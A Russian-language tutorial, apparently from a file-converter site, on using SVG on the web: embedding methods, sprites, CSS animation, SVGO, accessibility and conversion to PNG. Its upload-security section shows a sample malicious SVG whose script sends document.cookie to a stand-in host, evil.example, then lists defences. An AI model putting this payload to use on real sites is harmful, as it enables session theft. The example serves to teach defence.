SVG для веба: иконки, анимация и оптимизация на практике
Один и тот же значок можно вставить на страницу пятью способами — и четыре из них окажутся неправильными для вашей задачи. Разбираем, как использовать SVG на сайте грамотно: чем отличаются inline, <img> и CSS-фон, почему спрайт лучше иконочного шрифта, как анимировать вектор средствами CSS, ужать его вдвое через SVGO и не словить XSS на пользовательских загрузках.
Почему SVG идеален для веба
SVG (Scalable Vector Graphics) — это не картинка из пикселей, а текстовое описание фигур: «нарисуй окружность здесь, проведи линию туда, залей вот этим цветом». Браузер читает эти инструкции и рисует изображение заново под конкретный экран. Отсюда два свойства, ради которых вектор и любят в вебе.
Резкость на любом экране. Растровой иконке для ретины нужна версия @2x, а для дисплеев с ещё большей плотностью — @3x. SVG не масштабируется, а перерисовывается: один файл остаётся идеально чётким и на старом ноутбуке, и на 5K-мониторе, и при зуме страницы. Никаких «лесенок» на краях и наборов растровых версий.
Крошечный вес для простой графики. Логотип, иконка или схема — это десяток-другой фигур. Текстовое их описание занимает считаные килобайты, а после gzip — ещё меньше. Там, где PNG-иконка весит 8–15 КБ, аккуратный SVG укладывается в 1–2 КБ. На сложных фотографических изображениях вектор, наоборот, проигрывает — для них остаётся растр.
Простое правило
SVG — для всего, что «нарисовано»: иконки, логотипы, графики, иллюстрации интерфейса. Растр (PNG, WebP, AVIF) — для всего, что «сфотографировано». Если сомневаетесь, представьте картинку увеличенной в 10 раз: должна остаться чёткой — это SVG.
Три способа вставить SVG и когда какой
Главная путаница новичков в том, что SVG можно добавить на страницу несколькими способами, и они не взаимозаменяемы. Каждый открывает одни возможности и закрывает другие. Разберём три основных.
1. Inline — код прямо в HTML. Вы вставляете весь <svg>…</svg> в разметку. Тогда фигуры становятся частью DOM: их можно красить через CSS (fill, stroke), анимировать и менять из JavaScript. Минус — код иконки попадает в HTML каждой страницы, раздувает её и не кэшируется отдельным файлом.
<!-- Inline: цветом управляет CSS через currentColor -->
<button class="btn">
<svg width="20" height="20" viewBox="0 0 24 24" aria-hidden="true">
<path d="M5 12h14M12 5l7 7-7 7" stroke="currentColor" fill="none"/>
</svg>
Дальше
</button>
2. Тег <img> — отдельный файл. Пишете <img src="logo.svg" alt="…">, как с обычной картинкой. Файл кэшируется браузером, HTML остаётся чистым, подключение элементарное. Расплата — вы теряете доступ внутрь: покрасить или анимировать содержимое SVG через свой CSS уже нельзя, потому что браузер изолирует файл.
<!-- img: просто, кэшируется, но без внешней CSS-стилизации -->
<img src="/img/logo.svg" alt="Логотип компании" width="160" height="40">
3. CSS background-image — для декора. Подключаете SVG как фон: background-image: url(pattern.svg). Идеально для декоративных элементов, которые не несут смысла, — паттернов, разделителей, фоновых иконок у полей ввода. Содержимое тоже недоступно для стилизации, зато его легко переключать через CSS-классы.
| Способ | CSS-стилизация изнутри | Анимация / JS | Кэш отдельным файлом | Когда выбирать |
|---|---|---|---|---|
Inline <svg> | Да | Да | Нет | Иконки в кнопках, навигации, интерактив |
<img> | Нет | Нет | Да | Логотипы, самостоятельные картинки |
CSS background | Нет | Нет | Да | Декор, паттерны, фоновые значки |
Практический вывод: иконки, которые меняют цвет при наведении или участвуют в анимации, — inline (а лучше через спрайт, об этом ниже). Логотип в шапке и крупные иллюстрации — <img>. Декоративный фон — CSS.
Иконки и спрайты вместо иконочных шрифтов
Долгие годы наборы иконок подключали через иконочные шрифты (Font Awesome, Glyphicons): каждая иконка — это «буква» в шрифте. Сегодня для новых проектов это устаревший подход. Браузер должен скачать весь шрифт ради нескольких значков, иконки бывают размытыми, пока шрифт не загрузился — видны квадратики-плейсхолдеры, а покрасить можно только целиком одним цветом.
Современная замена — SVG-спрайт. Все иконки один раз кладутся в скрытый блок как <symbol> с уникальным id, а в нужном месте вызываются короткой ссылкой <use>. Кстати, чип «Веб» в начале этой статьи и иконки в её интерфейсе нарисованы ровно так.
<!-- 1. Один раз: спрайт со всеми иконками -->
<svg style="display:none">
<symbol id="icon-globe" viewBox="0 0 24 24">
<circle cx="12" cy="12" r="10" fill="none" stroke="currentColor"/>
<path d="M2 12h20" stroke="currentColor"/>
</symbol>
</svg>
<!-- 2. Сколько угодно раз: вызов иконки -->
<svg class="icon"><use href="#icon-globe"/></svg>
Так у вас один источник правды для всех значков, цвет наследуется от текста через currentColor, а иконки остаются чёткими и доступными для скринридеров. По сравнению с иконочным шрифтом спрайт выигрывает почти по всем пунктам:
| Критерий | SVG-спрайт | Иконочный шрифт |
|---|---|---|
| Чёткость на ретине | Идеальная | Зависит от рендера шрифта |
| Несколько цветов в иконке | Да | Нет, только один |
| Анимация отдельных частей | Да | Только иконка целиком |
| Доступность | Семантика из коробки | Нужны костыли ARIA |
| «Прыжок» при загрузке | Нет | Есть, пока грузится шрифт |
Совет
Иконочный шрифт оправдан разве что в легаси-проекте, где он уже глубоко вшит. Для всего нового берите SVG-спрайт: его поддерживают все актуальные браузеры, а сборщики (Vite, webpack) умеют собирать спрайт автоматически из папки с иконками.
Анимация SVG через CSS
Раз inline-SVG — часть DOM, его фигуры анимируются теми же средствами, что и обычные элементы: CSS-переходами и @keyframes. Это самый дешёвый и производительный путь: ни одной строчки JavaScript, всё крутит браузер на GPU.
/* Спиннер: бесконечный поворот всего SVG */
.spinner { animation: spin 1s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }
/* Иконка «галочка»: рисуем линию обводки при наведении */
.check path {
stroke-dasharray: 24;
stroke-dashoffset: 24;
transition: stroke-dashoffset .4s ease;
}
.check:hover path { stroke-dashoffset: 0; }
Приём со stroke-dasharray / stroke-dashoffset — классический «эффект рисования»: контур будто прочерчивается на глазах. Для сложных сценариев (морфинг форм, синхронизация со скроллом) берут библиотеки вроде GSAP, но 90% задач закрываются чистым CSS.
Отдельно про SMIL — встроенную в SVG анимацию через теги <animate>. Технология рабочая, но считается устаревающей: её развитие заморожено, и для веба надёжнее опираться на CSS и JS, которые активно поддерживаются.
Не забывайте про комфорт
Бесконечные анимации у части людей вызывают дискомфорт. Уважайте системную настройку: оберните движение в @media (prefers-reduced-motion: reduce) и отключайте его тем, кто попросил «меньше движения».
Оптимизация: SVGO снимает лишний вес
SVG, выгруженный из Figma, Illustrator или Inkscape, почти всегда «грязный». Внутри — служебные метаданные редактора, комментарии, пустые группы, скрытые слои и координаты с десятком знаков после запятой. Всё это вес, который пользователю качать незачем.
Чистит это SVGO (SVG Optimizer) — стандартный инструмент. Он вырезает мусор, не меняя картинку. Запустить можно из консоли, в сборке проекта или в браузере через визуальную обёртку SVGOMG — результат виден сразу.
# Установка и оптимизация папки с иконками
npm install -g svgo
svgo -f ./icons -o ./icons-min
# Один файл
svgo logo.svg -o logo.min.svg
Экономия зависит от источника. Экспорт из дизайн-редакторов SVGO ужимает обычно на 40–80%, иногда больше. Уже чистые, написанные руками SVG сжимаются скромнее — на 10–30%. Самый «жирный» источник экономии — упрощение данных контуров (атрибут d) и удаление метаданных редактора.
Осторожно с агрессивностью
На максимальных настройках SVGO может вырезать нужное: id, на которые ссылается ваш CSS или JS, либо viewBox, без которого ломается масштабирование. Если иконкой управляет код — отключите удаление id и сохранение viewBox в конфиге и проверьте результат.
Доступность и SEO
Векторная графика хороша тем, что её можно сделать понятной не только глазам, но и скринридерам — а заодно и поисковикам. Правило простое: смысловые иконки подписываем, декоративные прячем.
- Иконка несёт смысл (например, одинокая иконка «корзина» без текста): добавьте
role="img"и название через<title>внутри SVG илиaria-labelна нём. - Иконка декоративная или дублирует соседний текст («🔍 Поиск»): скройте её от скринридеров через
aria-hidden="true", чтобы она не зачитывалась дважды. - Иконка внутри ссылки или кнопки без текста: дайте имя самой кнопке через
aria-label, а иконку оставьте декоративной.
<!-- Смысловая иконка: озвучивается как «Избранное» -->
<svg role="img" aria-label="Избранное"><use href="#icon-star"/></svg>
<!-- Декоративная: скринридер её пропустит -->
<svg aria-hidden="true"><use href="#icon-chevron"/></svg>
<!-- Иконка-кнопка: имя на кнопке, иконка скрыта -->
<button aria-label="Закрыть"><svg aria-hidden="true"><use href="#icon-close"/></svg></button>
Для SEO это тоже плюс: тег <img> с SVG индексируется как изображение, а осмысленный alt помогает попасть в поиск по картинкам. А поскольку SVG лёгкий, он почти не влияет на скорость загрузки — а скорость напрямую учитывается в ранжировании.
Безопасность пользовательских загрузок
Вот неочевидное, на чём спотыкаются даже опытные команды: SVG — это не картинка, а исполняемый XML. В него можно вшить <script>, обработчики событий (onload) и ссылки javascript:. Если вы принимаете SVG от пользователей (аватары, логотипы) и показываете их другим как есть, злоумышленник способен встроить в файл код — это классическая XSS-уязвимость.
<!-- Так выглядит вредоносный SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
</svg>
Защита строится слоями:
Показывайте через <img>
В теге <img> браузер сам отключает скрипты и внешние ресурсы внутри SVG. Никогда не вставляйте чужой SVG как inline в свою разметку.
Санитизируйте на сервере
Прогоняйте загрузку через очиститель (например, DOMPurify), который вырезает <script>, <foreignObject>, обработчики событий и опасные ссылки.
Ограничьте отдачу
Раздавайте загрузки со строгими заголовками CSP и с отдельного домена, чтобы даже пробившийся скрипт не получил доступ к вашим cookie.
Самый надёжный вариант
Если интерактивность чужих SVG вам не нужна — растеризуйте загрузку в PNG на сервере. Растр физически не может содержать скриптов, и проблема исчезает в принципе.
Когда SVG нужно превратить в PNG
SVG прекрасен, но не всеяден. Старые почтовые клиенты, часть соцсетей и превью-сервисов вектор не понимают, а для og:image (картинка ссылки при репосте) почти всегда нужен растр. В этих случаях SVG растеризуют в PNG с нужным разрешением и DPI: исходник остаётся вектором, а наружу отдаётся совместимая копия.
Загрузите SVG
Перетащите файл в онлайн-конвертер — ставить ничего не нужно.
Задайте DPI и фон
Выберите разрешение под задачу и решите, нужен ли прозрачный фон или подложка.
Скачайте PNG
Готовый растр откроется где угодно — от соцсетей до старых CMS.
Превратите SVG в чёткий PNG за пару секунд
Бесплатный конвертер FormatZ растеризует вектор с нужным DPI прямо в браузере — без установки и регистрации. Идеально для превью, соцсетей и сервисов без поддержки SVG.
Конвертировать SVG в PNGНужно обратное — собрать вектор из растрового логотипа? Поможет трассировка PNG в SVG. Для лёгкого веб-формата с прозрачностью пригодится SVG в WebP, а полный список преобразований всегда есть на странице всех форматов.
Частые вопросы об SVG в вебе
<svg>…</svg> прямо в HTML) выбирайте, когда иконку нужно красить через CSS, анимировать или менять через JS — например, иконки в кнопках и навигации. Тег <img src=".svg"> выбирайте для самостоятельных картинок и логотипов: он кэшируется браузером отдельным файлом и не раздувает HTML, но стилизовать содержимое изнутри уже нельзя.<symbol>+<use> даёт чёткие иконки на ретине, поддерживает несколько цветов и анимацию отдельных частей, доступен для скринридеров и не зависит от загрузки шрифта (нет «прыжка» иконок). Иконочные шрифты оправданы разве что в легаси-проектах, где их уже много.<script>, обработчики событий (onload) и ссылки javascript:. Если вы принимаете SVG от пользователей, показывайте их через <img> (браузер отключает скрипты) и обязательно санитизируйте на сервере, например через DOMPurify.

